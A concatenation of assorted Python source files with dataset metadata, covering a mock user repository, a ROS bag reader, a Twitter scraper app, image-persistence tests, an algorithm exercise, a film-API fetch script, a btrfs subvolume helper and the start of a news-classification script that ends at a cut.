[{'user1': {\n \"user_id\": \"12345\",\n \"nome\": \"Michael\",\n \"data_de_nascimento\": \"30/06/1994\",\n \"email\": \"eduardo@email.com\",\n \"telefone\": '+123(45) 0987-1234',\n \"documento\": \"789.123.456-08\"\n }}]\n\n def create_user(self, *, nome: str, data_de_nascimento: str, email: str, telefone: str, documento: str) -> Dict:\n user_data = {\n \"nome\": nome,\n \"data_de_nascimento\": data_de_nascimento,\n \"email\": email,\n \"telefone\": telefone,\n \"documento\": documento\n }\n\n return user_data\n\n def get_user(self) -> List:\n return self.get_user_attributes\n\n def update_user(\n self, *,\n user_id: str = None,\n nome: str = None,\n data_de_nascimento: str = None,\n email: str = None,\n telefone: str = None,\n documento: str = None\n ):\n get_data = self.get_user_attributes[0]['user1']\n get_data['nome'] = nome if nome else get_data.get('nome')\n get_data['data_de_nascimento'] = data_de_nascimento if data_de_nascimento else get_data.get('data_de_nascimento')\n get_data['email'] = email if email else get_data.get('email')\n get_data['telefone'] = telefone if telefone else get_data.get('telefone')\n get_data['documento'] = documento if documento else get_data.get('documento')\n\n return self\n\n def delete_user(self, *, user_id: str) -> List:\n for user_dict in self.get_user_attributes:\n if user_dict['user1']['user_id'] == user_id:\n self.get_user_attributes.remove(user_dict)\n\n return self.get_user_attributes\n","repo_name":"edummap4412/ApiUserAddress","sub_path":"tests/mocks/user_repository_mock/user_repository_mock.py","file_name":"user_repository_mock.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6163162461","text":"from typing import Dict, Iterable, Union, Optional\nimport subprocess\nimport pathlib\n\nimport numpy as np\nimport yaml\nfrom pyrosenv import rosbag, rospy\nfrom pyrosenv import genpy\n\nTimeLike = Union[float, rospy.Time, genpy.Time]\nPathLike = Union[str, pathlib.Path]\nRosMessage = genpy.Message\n\n__all__ = ['BagManager']\n\n\n\"\"\"\nIn this module there are two types of time for each msg:\n1. time_rosbag: the time that the message was recorded into the bag file.\n for topic, msg, t in self.bag.read_messages():\n print(t)\n2. time_header: the time from the msg header timestamp.\n for topic, msg, t in self.bag.read_messages():\n print(msg.header.stamp)\n\"\"\"\n\n\nclass BagManagerException(Exception):\n pass\n\n\nclass BagManager:\n def __init__(self, bag_file: PathLike):\n self.bag = rosbag.Bag(bag_file)\n self.bag_info = self._get_bag_info(bag_file)\n self._topics_info_cache = {}\n\n @staticmethod\n def _get_bag_info(bag_file: PathLike) -> Dict:\n \"\"\" Return a dict with information about the given bag file\"\"\"\n bag_file = str(bag_file)\n bag_info = yaml.safe_load(subprocess.Popen(['rosbag', 'info', '--yaml', bag_file],\n stdout=subprocess.PIPE).communicate()[0])\n return bag_info\n\n def get_topic_info(self, topic: str, get_header_time: bool = False) -> Dict:\n \"\"\"\n Return a dict with info about the given topic.\n with get_header_time=True the function may run a long time\n but returns also a list of the messages times from the messages headers.\n \"\"\"\n def _cache_topic_info_without_msg_time_list_header():\n topic_tuple = self.bag.get_type_and_topic_info().topics[topic]\n connections = self.bag._get_connections([topic], connection_filter=None)\n entry_gen = self.bag._get_entries(connections, start_time=None, end_time=None)\n msg_time_list_rosbag = [entry.time for entry in entry_gen]\n topic_info = {'topic': topic, 'message_count': topic_tuple.message_count,\n 'message_type': topic_tuple.msg_type, 'frequency': topic_tuple.frequency,\n 'msg_time_list_header': None, 'msg_time_list_rosbag': msg_time_list_rosbag}\n return topic_info\n\n if topic in self._topics_info_cache:\n topic_info = self._topics_info_cache[topic]\n else:\n topic_info = _cache_topic_info_without_msg_time_list_header()\n self._topics_info_cache[topic] = topic_info\n\n if get_header_time:\n if topic_info['msg_time_list_header'] is None:\n try:\n msg_time_list_header = [msg.header.stamp for _, msg, _ in self.bag.read_messages(topics=[topic])]\n except AttributeError:\n msg_time_list_header = BagManagerException(\"Some msg doesn't have header timestamp\")\n self._topics_info_cache[topic]['msg_time_list_header'] = msg_time_list_header\n\n return topic_info\n # BagManagerException(\"Call get_topic_info() with get_header_time=True to get the headers stamps\")\n\n def get_closest_message_by_header_time(self, topic: str, time_header: TimeLike) -> RosMessage:\n \"\"\" Returns a message from the given topic with header timestamp closest to time_header \"\"\"\n if not isinstance(time_header, rospy.Time) and not isinstance(time_header, genpy.Time):\n time_header = rospy.Time(time_header)\n info = self.get_topic_info(topic=topic, get_header_time=True)\n argmin = np.argmin([abs(t - time_header) for t in info['msg_time_list_header']])\n matching_msg_time_rosbag = info['msg_time_list_rosbag'][argmin]\n msg = [msg for _, msg, _ in self.bag.read_messages(topics=[topic],\n start_time=matching_msg_time_rosbag,\n end_time=matching_msg_time_rosbag)][0]\n return msg\n\n def get_closest_message_by_rosbag_time(self, topic: str, time_rosbag: TimeLike) -> RosMessage:\n \"\"\" Returns a message from the given topic with rosbag timestamp closest to time_rosbag \"\"\"\n if not isinstance(time_rosbag, rospy.Time) and not isinstance(time_rosbag, genpy.Time):\n time_rosbag = rospy.Time(time_rosbag)\n info = self.get_topic_info(topic=topic, get_header_time=False)\n argmin = np.argmin([abs(t - time_rosbag) for t in info['msg_time_list_rosbag']])\n matching_msg_time_rosbag = info['msg_time_list_rosbag'][argmin]\n msg = [msg for _, msg, _ in self.bag.read_messages(topics=[topic],\n start_time=matching_msg_time_rosbag,\n end_time=matching_msg_time_rosbag)][0]\n return msg\n\n def get_message_by_index(self, topic: str, index: int) -> RosMessage:\n \"\"\" Returns a message from the given topic by the given index \"\"\"\n info = self.get_topic_info(topic=topic, get_header_time=False)\n msg_time_rosbag = info['msg_time_list_rosbag'][index]\n msg = [msg for _, msg, _ in self.bag.read_messages(topics=[topic],\n start_time=msg_time_rosbag,\n end_time=msg_time_rosbag)][0]\n return msg\n\n def get_message_count_in_interval(self, topics: Optional[Iterable[str]] = None,\n start_time_rosbag: Optional[TimeLike] = None,\n end_time_rosbag: Optional[TimeLike] = None) -> int:\n \"\"\"\n Count the number of messages in topics in the interval: [start_time_rosbag, end_time_rosbag]\n if topics is None it will count in all topics.\n if start_time_rosbag is None it will count from the bag file start\n if end_time_rosbag is None it will count to the bag file end\n \"\"\"\n if topics is None:\n topics = [t['topic'] for t in self.bag_info['topics']]\n if isinstance(topics, str):\n topics = [topics]\n if start_time_rosbag is None:\n start_time_rosbag = self.bag_info['start']\n if end_time_rosbag is None:\n end_time_rosbag = self.bag_info['end']\n\n if not isinstance(start_time_rosbag, rospy.Time) and not isinstance(start_time_rosbag, genpy.Time):\n start_time_rosbag = rospy.Time(start_time_rosbag)\n if not isinstance(end_time_rosbag, rospy.Time) and not isinstance(end_time_rosbag, genpy.Time):\n end_time_rosbag = rospy.Time(end_time_rosbag)\n\n message_count = 0\n for topic in topics:\n msg_list = self.get_topic_info(topic=topic, get_header_time=False)['msg_time_list_rosbag']\n number_of_msgs_in_interval = (np.searchsorted(msg_list, end_time_rosbag, side='right')\n - np.searchsorted(msg_list, start_time_rosbag, side='left'))\n \n message_count += number_of_msgs_in_interval\n return message_count\n\n def __repr__(self):\n return f\"BagManager [ path: {self.bag_info['path']} ] [ duration: {self.bag_info['duration']:.1f} sec ] [ messages: {self.bag_info['messages']} ]\"\n\n def __str__(self):\n return self.bag.__str__()\n","repo_name":"omrirz/bagmanager","sub_path":"bagmanager/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7411,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"5606227407","text":"# twiteer Scraping\r\n# pip install snscrape (for scraping any social media web data)\r\n# pip install pandas (for read and write data)\r\n# pip install streamlit (for preare a web app & user interface)\r\nimport snscrape\r\nimport pandas \r\nimport streamlit as st\r\nimport pandas as pd\r\nimport snscrape.modules.twitter as sntwitter\r\nimport pandas as pd\r\nfrom datetime import timedelta, date\r\n# difining a dataframe for after use\r\ndf = pd.DataFrame()\r\n\r\n# takig data from user user to scrape the data using streamlit\r\nd3 = st.text_input(\"enter user name\").strip()\r\n\r\ncol1, col2 , col3 = st.columns(3) \r\nd1 = col1.date_input(\"enter starting date (since)\")\r\nd2 = col2.date_input(\"enter ending date (untill)\")\r\nd4 = int(col3.number_input(\"enter the limit how many data you want\"))\r\nst.write([str(d3),str(d1),str(d2),d4])\r\nextractInfosBtn = st.button('Get data')\r\n# condition & content of scraping data\r\nif extractInfosBtn: \r\n tweets_list = []\r\n for tweet in sntwitter.TwitterSearchScraper(\"from:{} since:{} until:{}\".format(str(d3),str(d1),str(d2))).get_items():\r\n if len(tweets_list) == d4:\r\n break\r\n else:\r\n tweets_list.append([tweet.date, tweet.content,tweet.url])\r\n\r\n df = pd.DataFrame(tweets_list, columns=[\"date\",\"content\",\"url\"])\r\n st.write(df.head(20))\r\n\r\n\r\n# After scraping download button is ceate to download the data\r\ndownloadcol , noneed= st.columns([1,1])\r\n\r\ndownloadcol.download_button( \r\nlabel=\"Download to csv\",\r\ndata= df.to_csv().encode('utf-8'),\r\nfile_name= 'file.csv',\r\nmime= 'text/csv',\r\n)\r\n\r\n\r\n\r\n","repo_name":"Indraji123/Twiteer-Scraping","sub_path":"Twiteer Scraping.py","file_name":"Twiteer Scraping.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35076670499","text":"from ipynta.persistence import LocalPersister\nfrom ipynta.enums import NamingStrategy\nfrom ipynta.loaders import PillowLoader\nfrom ipynta.sourcing import DirectorySniffer\nfrom os import path\nfrom PIL import Image\nimport uuid\nimport pytest\nimport shutil\n\nDIR_PATH = path.dirname(path.dirname(path.abspath(__file__))) \nSAMPLES_DIR = f\"{DIR_PATH}/imgs\"\nDEST_PATH = f\"{DIR_PATH}/persistence/local_testing/test_outputs\"\n\ndef load_single_img():\n return Image.open(f\"{SAMPLES_DIR}/1x1.jpg\")\n\ndef load_multiple_images():\n img_list = DirectorySniffer().get_img_paths(SAMPLES_DIR)\n\n return PillowLoader().load(img_list)\n\ndef get_output_files(dir):\n return DirectorySniffer().get_img_paths(dir)\n\ndef is_valid_uuid(val):\n try:\n uuid.UUID(str(val))\n return True\n except ValueError:\n return False\n\ndef generate_dump_path(name):\n return f\"{DEST_PATH}/{name}\"\n\n@pytest.fixture(scope=\"session\", autouse=True)\ndef clear_dst_folder():\n yield\n \n if path.exists(DEST_PATH):\n shutil.rmtree(DEST_PATH)\n\n# regardless of parameter validity,\n# we should have a peaceful construction.\n@pytest.mark.parametrize(\"img_list, out_path, strat\", [\n (None, DEST_PATH, NamingStrategy.UUID4),\n (None, DEST_PATH, NamingStrategy.NUMERICAL),\n ([], DEST_PATH, NamingStrategy.NUMERICAL),\n ([], DEST_PATH, NamingStrategy.UUID4),\n ([load_single_img()], None, NamingStrategy.NUMERICAL),\n ([load_single_img()], None, NamingStrategy.UUID4),\n])\ndef test_local_persister_init(img_list, out_path, strat):\n try:\n LocalPersister(img_list, out_path, strat)\n except Exception:\n pytest.fail(\"LocalPersister construction failed\")\n\n# If output path is not specified or messed up,\n# an exception should be raised to inform dev about\n# output directory.\n@pytest.mark.parametrize(\"img_list, out_path, strat\", [\n ([load_single_img()], None, NamingStrategy.NUMERICAL),\n ([load_single_img()], \"\", NamingStrategy.UUID4),\n ([load_single_img()], \" \", NamingStrategy.NUMERICAL),\n ([load_single_img()], \" \", NamingStrategy.NUMERICAL),\n])\ndef test_local_persister_empty_output_path(img_list, out_path, strat):\n try:\n persister = LocalPersister(img_list, out_path, strat)\n persister.execute()\n except Exception as ex:\n assert str(ex) == \"Please specify an output directory\"\n\n# Validate if the input amount and output amount matches.\n@pytest.mark.parametrize(\"img_list, out_path, strat\", [\n ([load_single_img()], generate_dump_path(\"1\"), NamingStrategy.NUMERICAL),\n ([load_single_img()], generate_dump_path(\"2\"), NamingStrategy.UUID4),\n (load_multiple_images(), generate_dump_path(\"3\"), NamingStrategy.NUMERICAL),\n (load_multiple_images(), generate_dump_path(\"4\"), NamingStrategy.UUID4),\n])\ndef test_local_persister_output_count(img_list, out_path, strat):\n persister = LocalPersister(img_list, out_path, strat)\n persister.execute()\n output_files = get_output_files(out_path)\n\n input_count = len(img_list)\n output_count = len(output_files)\n\n assert input_count == output_count\n\n# Validate if the output files exists.\n@pytest.mark.parametrize(\"img_list, out_path, strat\", [\n ([load_single_img()], generate_dump_path(\"5\"), NamingStrategy.NUMERICAL),\n ([load_single_img()], generate_dump_path(\"6\"), NamingStrategy.UUID4),\n (load_multiple_images(), generate_dump_path(\"7\"), NamingStrategy.NUMERICAL),\n (load_multiple_images(), generate_dump_path(\"8\"), NamingStrategy.UUID4),\n])\ndef test_local_persister_output_files_exist(img_list, out_path, strat):\n persister = LocalPersister(img_list, out_path, strat)\n persister.execute()\n output_files = get_output_files(out_path)\n \n assert(all(map(lambda x: path.exists(x), output_files)))\n\n# Validate UUID4 naming strategy\n@pytest.mark.parametrize(\"img_list, out_path, strat\", [\n ([load_single_img()], generate_dump_path(\"9\"), NamingStrategy.UUID4),\n (load_multiple_images(), generate_dump_path(\"10\"), NamingStrategy.UUID4),\n])\ndef test_local_persister_guid_names(img_list, out_path, strat):\n persister = LocalPersister(img_list, out_path, strat)\n persister.execute()\n\n output_files = get_output_files(out_path)\n names = map(lambda x: path.basename(x).split(\".\")[0], output_files)\n validity_flags = list(map(lambda name : is_valid_uuid(name), names))\n\n assert(all(validity_flags))\n\n# Validate Numerical naming strategy\n@pytest.mark.parametrize(\"img_list, out_path, strat\", [\n ([load_single_img()], generate_dump_path(\"11\"), NamingStrategy.NUMERICAL),\n (load_multiple_images(), generate_dump_path(\"12\"), NamingStrategy.NUMERICAL),\n])\ndef test_local_persister_numerical_names(img_list, out_path, strat):\n persister = LocalPersister(img_list, out_path, strat)\n persister.execute()\n\n output_files = get_output_files(out_path)\n names = map(lambda x: path.basename(x).split(\".\")[0], output_files)\n validity_flags = list(map(lambda name : name.isnumeric(), names))\n\n assert(all(validity_flags))","repo_name":"allanchua101/ipynta","sub_path":"src/tests/persistence/test_local_persister.py","file_name":"test_local_persister.py","file_ext":"py","file_size_in_byte":4842,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"70053030225","text":"# Perfect Squares\n\n\n# Best Solution\n\"\"\"\n There is an algorithm called Lagrange theorem which \n states that we can get any number by adding max of 4 perfect square number\n\"\"\"\n# Time Complexity = O(n) || Space Complexity = O(1)\n\nfrom math import sqrt\n\nn = 12\n\n\ndef numSquares(n):\n while n % 4 == 0:\n # Reduction by factor of 4\n n //= 4\n\n if n % 8 == 7:\n # Quick response for n = 8k + 7\n return 4\n\n # Check whether n = a^2 + b^2\n for a in range(int(sqrt(n)) + 1):\n\n b = int(sqrt(n - a * a))\n\n if (a**2 + b**2) == n:\n return (a > 0) + (b > 0)\n\n # n = a^2 + b^2 + c^2\n return 3\n\n\n# Naive Solution\n\"\"\"\n So we start from finding all perfect square \n upto n+1 and then we apply same logic of coin change\n coin change - (We make an inf array of size(amount) then to \n make amount 0 we need 0 coins\n After this we loop to coins array and then \n update min coins by subtrating the index\n by coin like this dp[i] = min(dp[i],dp[i-coin]+1))\n\"\"\"\n# Time Complexity = O(n^2) || Space Complexity = O(n)\n\nn = 12\n\n\ndef numSquares2(n):\n dp = [float(\"inf\") for i in range(n + 1)]\n dp[0] = 0\n square = []\n for i in range(1, n + 1):\n if i * i > n:\n break\n square.append(i * i)\n\n for i in square:\n for j in range(i, n + 1):\n dp[j] = min(dp[j], dp[j - i] + 1)\n return dp[-1]\n\n\nprint(numSquares(n))\nprint(numSquares2(n))\n","repo_name":"DivyanshiChouksey/Data-Structure-Algorithm","sub_path":"298.Perfect Squares.py","file_name":"298.Perfect Squares.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37038888167","text":"import requests\nimport json\nimport pandas as pd\n\n\nfor i in range(51,61) :\n url = 'http://www.kobis.or.kr/kobisopenapi/webservice/rest/people/searchPeopleList.json?key=c721d3c3e72b7bbe39ae4e7e42012e1a&curPage={0}&itemPerPage=100'.format(i)\n res = requests.get(url)\n text= res.text\n d = json.loads(text)\n \n actor_list = []\n \n for b in d['peopleListResult']['peopleList']:\n actor_list.append([b['peopleCd'],b['peopleNm'],b['repRoleNm']])\n data = pd.DataFrame(actor_list)\n data.columns = ['peopleCd','peopleNm','repRoleNm']\n\n data.to_csv(\"actor_list.txt\", mode='a', encoding='utf-8', index=False, header = None)\n","repo_name":"Grilled-sausage/molva-ML","sub_path":"actorlist.py","file_name":"actorlist.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44197906214","text":"#Onat Şahin - 150150129 - sahino15@itu.edu.tr\n\n#This code include the Block class and the constraint function that is used for the csp problem.\n#This code is imported from csp_str_1.py and csp_str_2.py which create the model and solve the problem.\n\nblocklist = [] #A list that holds block objects. Filled in the other codes.\n\nclass Block: #Block class to define blocks\n def __init__(self, orientation, top, bottom):\n self.orientation = orientation #Vertical of horizontal\n self.top = top #Top part of the block in coordinates (block itself if horizontal)\n self.bottom = bottom #Bottom part of the block in coordinates (block itself if horizontal)\n\n#For the coordinates, I assumed that the height of a horizontal block is 1 and its width is 6.\n#The height of a vertical block is 3 and its width is 2. I put the whole structure in a coordinate system\n#where left and downmost point of the structure is the point 0,0\n\ndef horizontal_center_check(block, placed): #Checks if the below of a horizontal block's center is filled\n return ( (block[2][0] - 1, block[2][1]) in placed ) and ( (block[3][0] - 1, block[3][1]) in placed )\n\ndef horizontal_two_over_three_check(block, placed): #Checks if at least 2/3 of a horizontal block's below is filled\n count = 0\n for piece in block:\n if (piece[0] - 1, piece[1]) in placed:\n count += 1\n\n return count >= (len(block) / 3 * 2)\n\ndef vertical_bottom_check(block_bottom, placed): #Checks if a vertical block's below is filled\n return ((block_bottom[0][0]-1, block_bottom[0][1]) in placed) and ((block_bottom[1][0]-1, block_bottom[1][1]) in placed)\n\n#The function below uses the functions above to implement the constraints given in the assignment. Every variable's value\n#comes to this function in argv list. The order of this list corresponds to the order of blocks in blocklist\ndef is_order_valid(*argv):\n block_count = len(argv)\n list_to_check = []\n\n for i in range(block_count): #For every block\n\n if blocklist[i].bottom[0][0] == 0: #If a block touches the ground, continue since it satisfies the constraints\n continue\n\n del list_to_check[:] #clear the checklist\n\n for j in range(block_count):\n if argv[j] < argv[i]: #If a block j is placed before the block i, add block j to the checklist\n list_to_check = list_to_check + blocklist[j].top\n\n if blocklist[i].orientation == 'h': #Perform horizontal check if the block i is horizontal\n if not (horizontal_center_check(blocklist[i].bottom, list_to_check) or horizontal_two_over_three_check(blocklist[i].bottom, list_to_check)):\n return False\n\n elif blocklist[i].orientation == 'v': #Perform vertical check if the block i is vertical\n if not vertical_bottom_check(blocklist[i].bottom, list_to_check):\n return False\n\n return True #If no False is returned, the structure can be built with the given order. Return True.\n","repo_name":"onatsahin/ITU_Assignments","sub_path":"Artificial Intelligence/Assignment 2/block_construction_constraint.py","file_name":"block_construction_constraint.py","file_ext":"py","file_size_in_byte":2997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25896986177","text":"'See the SubvolumeOnDisk docblock.'\nimport json\nimport logging\nimport os\nimport socket\nimport subprocess\n\nfrom collections import namedtuple\n\nlog = logging.Logger(__name__)\n\n# These constants can represent both JSON keys for\n# serialization/deserialization, and namedtuple keys. Legend:\n# (1) Field in the namedtuple SubvolumeOnDisk\n# (2) Written into the on-disk dictionary format\n# (3) Read from the on-disk dictionary format\n_BTRFS_UUID = 'btrfs_uuid' # (1-3)\n_HOSTNAME = 'hostname' # (1-3)\n_SUBVOLUMES_BASE_DIR = 'subvolumes_base_dir' # (1)\n_SUBVOLUME_REL_PATH = 'subvolume_rel_path' # (1-3)\n_DANGER = 'DANGER' # (2)\n\n\ndef _btrfs_get_volume_props(subvolume_path):\n SNAPSHOTS = 'Snapshot(s)'\n props = {}\n # It's unfair to assume that the OS encoding is UTF-8, but our JSON\n # serialization kind of requires it, and Python3 makes it hyper-annoying\n # to work with bytestrings, so **shrug**.\n #\n # If this turns out to be a problem for a practical use case, we can add\n # `surrogateescape` all over the place, or even set\n # `PYTHONIOENCODING=utf-8:surrogateescape` in the environment.\n for l in subprocess.check_output([\n 'sudo', 'btrfs', 'subvolume', 'show', subvolume_path,\n ]).decode('utf-8').split('\\n')[1:]: # Skip the header line\n if SNAPSHOTS in props:\n if l: # Ignore the trailing empty line\n TABS = 4\n assert l[:TABS] == '\\t' * TABS, 'Not a snapshot line' + repr(l)\n props[SNAPSHOTS].append(l[TABS:])\n else:\n k, v = l.strip().split(':', 1)\n k = k.rstrip(':')\n v = v.strip()\n if k == SNAPSHOTS:\n assert v == '', f'Should have nothing after \":\" in: {l}'\n props[SNAPSHOTS] = []\n else:\n assert k not in props, f'{l} already had a value {props[k]}'\n props[k] = v\n return props\n\n\nclass SubvolumeOnDisk(namedtuple('SubvolumeOnDisk', [\n _BTRFS_UUID,\n _HOSTNAME,\n _SUBVOLUMES_BASE_DIR,\n _SUBVOLUME_REL_PATH,\n])):\n '''\n This class stores a disk path to a btrfs subvolume (built image layer),\n together with some minimal metadata about the layer. It knows how to\n serialize & deserialize this metadata to a JSON format that can be\n safely used as as Buck output representing the subvolume.\n '''\n\n _KNOWN_KEYS = {\n _BTRFS_UUID,\n _HOSTNAME,\n _SUBVOLUME_REL_PATH,\n _DANGER,\n }\n\n def subvolume_path(self):\n return os.path.join(self.subvolumes_base_dir, self.subvolume_rel_path)\n\n @classmethod\n def from_subvolume_path(\n cls,\n subvol_path: str,\n subvolumes_dir: str,\n ):\n subvol_rel_path = os.path.relpath(subvol_path, subvolumes_dir)\n pieces = subvol_rel_path.split('/')\n if pieces[:1] == [''] or '..' in pieces:\n raise RuntimeError(\n f'{subvol_path} must be located inside the subvolumes '\n f'directory {subvolumes_dir}'\n )\n # This function deliberately does no validation on the fields it\n # populates -- that is done only in `from_serializable_dict`. We\n # will not commit a buggy structure to disk since\n # `to_serializable_dict` checks the idepmpotency of our\n # serialization-deserialization.\n self = cls(**{\n _BTRFS_UUID: _btrfs_get_volume_props(subvol_path)['UUID'],\n _HOSTNAME: socket.getfqdn(),\n _SUBVOLUMES_BASE_DIR: subvolumes_dir,\n _SUBVOLUME_REL_PATH: subvol_rel_path,\n })\n return self\n\n @classmethod\n def from_serializable_dict(cls, d, subvolumes_dir):\n self = cls(**{\n _BTRFS_UUID: d[_BTRFS_UUID],\n _HOSTNAME: d[_HOSTNAME],\n _SUBVOLUMES_BASE_DIR: subvolumes_dir,\n _SUBVOLUME_REL_PATH: d[_SUBVOLUME_REL_PATH],\n })\n\n # Check that the relative path is garbage-collectable.\n inner_dir = os.path.basename(d[_SUBVOLUME_REL_PATH])\n outer_dir = os.path.basename(os.path.dirname(d[_SUBVOLUME_REL_PATH]))\n if ':' not in outer_dir or (\n d[_SUBVOLUME_REL_PATH] != os.path.join(outer_dir, inner_dir)\n ):\n raise RuntimeError(\n 'Subvolume must have the form :/,'\n f' not {d[_SUBVOLUME_REL_PATH]}'\n )\n outer_dir_content = os.listdir(os.path.join(subvolumes_dir, outer_dir))\n # For GC, the wrapper must contain the subvolume, and nothing else.\n if outer_dir_content != [inner_dir]:\n raise RuntimeError(\n f'Subvolume wrapper {outer_dir} contained {outer_dir_content} '\n f'instead of {[inner_dir]}'\n )\n # Check that the subvolume matches the description.\n cur_host = socket.getfqdn()\n if cur_host != self.hostname:\n raise RuntimeError(\n f'Subvolume {self} did not come from current host {cur_host}'\n )\n # This incidentally checks that the subvolume exists and is btrfs.\n volume_props = _btrfs_get_volume_props(self.subvolume_path())\n if volume_props['UUID'] != self.btrfs_uuid:\n raise RuntimeError(\n f'UUID in subvolume JSON {self} does not match that of the '\n f'actual subvolume {volume_props}'\n )\n return self\n\n def to_serializable_dict(self):\n # `subvolumes_dir` is an absolute path to a known location inside\n # the repo. We must not serialize it inside a Buck outputs, since\n # that will break if the repo is moved. Instead, we always\n # recompute the path relative to the current subvolumes directory.\n d = {\n _BTRFS_UUID: self.btrfs_uuid,\n _HOSTNAME: self.hostname,\n _SUBVOLUME_REL_PATH: self.subvolume_rel_path,\n _DANGER: 'Do NOT edit manually: this can break future builds, or '\n 'break refcounting, causing us to leak or prematurely destroy '\n 'subvolumes.',\n }\n # Self-test -- there should be no way for this assertion to fail\n new_self = self.from_serializable_dict(d, self.subvolumes_base_dir)\n assert self == new_self, \\\n f'Got {new_self} from {d}, when serializing {self}'\n return d\n\n @classmethod\n def from_json_file(cls, infile, subvolumes_dir):\n parsed_json = ''\n try:\n parsed_json = json.load(infile)\n return cls.from_serializable_dict(\n parsed_json, subvolumes_dir\n )\n except json.JSONDecodeError as ex:\n raise RuntimeError(\n f'Parsing subvolume JSON from {infile}: {ex.doc}'\n ) from ex\n except Exception as ex:\n raise RuntimeError(\n f'Parsed subvolume JSON from {infile}: {parsed_json}'\n ) from ex\n\n def to_json_file(self, outfile):\n outfile.write(json.dumps(self.to_serializable_dict()))\n\n\n# This is tested by `test-image-layer` for `from_sendstream`.\nif __name__ == '__main__': # pragma: no cover\n import sys\n SubvolumeOnDisk.from_subvolume_path(\n os.path.join(sys.argv[1], sys.argv[2]),\n sys.argv[1],\n ).to_json_file(sys.stdout)\n","repo_name":"elaa0505/buckit","sub_path":"infra_macros/macro_lib/convert/container_image/compiler/subvolume_on_disk.py","file_name":"subvolume_on_disk.py","file_ext":"py","file_size_in_byte":7330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"25083861113","text":"from __future__ import print_function\n\nimport logging\nimport numpy as np\nfrom optparse import OptionParser\nimport sys\nfrom time import time\nimport matplotlib.pyplot as plt\n\nfrom sklearn.datasets import fetch_20newsgroups\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import HashingVectorizer\nfrom sklearn.feature_selection import SelectFromModel\nfrom sklearn.feature_selection import SelectKBest, chi2\nfrom sklearn.linear_model import RidgeClassifier\nfrom sklearn.svm import LinearSVC\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.linear_model import Perceptron\nfrom sklearn.linear_model import PassiveAggressiveClassifier\nfrom sklearn.naive_bayes import BernoulliNB, MultinomialNB\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.neighbors import NearestCentroid\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.utils.extmath import density\nfrom sklearn import metrics\n\nfrom sklearn.ensemble import VotingClassifier\nfrom sklearn.pipeline import Pipeline\n\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom sklearn.tree import DecisionTreeClassifier\n\nimport random\nfrom pymongo import MongoClient\n\n# Display progress logs on stdout\nlogging.basicConfig(level=logging.INFO,\n format='%(asctime)s %(levelname)s %(message)s')\n\n\n# parse commandline arguments\nop = OptionParser()\nop.add_option(\"--report\",\n action=\"store_true\", dest=\"print_report\",\n help=\"Print a detailed classification report.\")\nop.add_option(\"--chi2_select\",\n action=\"store\", type=\"int\", dest=\"select_chi2\",\n help=\"Select some number of features using a chi-squared test\")\nop.add_option(\"--confusion_matrix\",\n action=\"store_true\", dest=\"print_cm\",\n help=\"Print the confusion matrix.\")\nop.add_option(\"--top10\",\n action=\"store_true\", dest=\"print_top10\",\n help=\"Print ten most discriminative terms per class\"\n \" for every classifier.\")\nop.add_option(\"--all_categories\",\n action=\"store_true\", dest=\"all_categories\",\n help=\"Whether to use all categories or not.\")\nop.add_option(\"--use_hashing\",\n action=\"store_true\",\n help=\"Use a hashing vectorizer.\")\nop.add_option(\"--n_features\",\n action=\"store\", type=int, default=2 ** 16,\n help=\"n_features when using the hashing vectorizer.\")\nop.add_option(\"--filtered\",\n action=\"store_true\",\n help=\"Remove newsgroup information that is easily overfit: \"\n \"headers, signatures, and quoting.\")\n\n\ndef is_interactive():\n return not hasattr(sys.modules['__main__'], '__file__')\n\n# work-around for Jupyter notebook and IPython console\nargv = [] if is_interactive() else sys.argv[1:]\n(opts, args) = op.parse_args(argv)\nif len(args) > 0:\n op.error(\"this script takes no arguments.\")\n sys.exit(1)\n\nprint(__doc__)\nop.print_help()\nprint()\n\n# #############################################################################\n# Query data\n\n# Names of classifiers saved to array for retreival, normalization, and idendification after normalization\nclassifiers = ['straight', 'potential_bias', 'probable_bias', 'editorial', 'cherry', 'fake', 'satire']\nreal_target_names = ['straight', 'potential_bias', 'probable_bias', 'editorial', 'cherry']\nfake_target_names = ['fake', 'satire']\ntarget_names = ['real', 'fake']\n\n# Connect to MongoDB\nclient = MongoClient(port=27017)\ndb = client.classifiedArticles\n\n# Query real data by classifier\nreal_queries = [db.articlePhraseChunked.find({'classifier': classifier}) for classifier in real_target_names]\n\n# Query fake data by classifier\nfake_queries = [db.articlePhraseChunked.find({'classifier': classifier}) for classifier in fake_target_names]\n\n# Format real data, normalize classifier\nreal_data = np.array([np.array([[item[key][i].encode('ascii', 'ignore') for i in range(len(item[key]))], 0])\n for classifier in range(len(real_queries))\n for item in real_queries[classifier]\n for key in item if key == u'phraseChunks'])\n\n# Format fake data, normalize classifier\nfake_data = np.array([np.array([[item[key][i].encode('ascii', 'ignore') for i in range(len(item[key]))], 1])\n for classifier in range(len(fake_queries))\n for item in fake_queries[classifier]\n for key in item if key == u'phraseChunks'])\n\n# Query real test data by classifier\nreal_test_queries = [db.articlePhraseChunkedTest.find({'classifier': classifier}) for classifier in real_target_names]\n\n# Query fake test data by classifier\nfake_test_queries = [db.articlePhraseChunkedTest.find({'classifier': classifier}) for classifier in 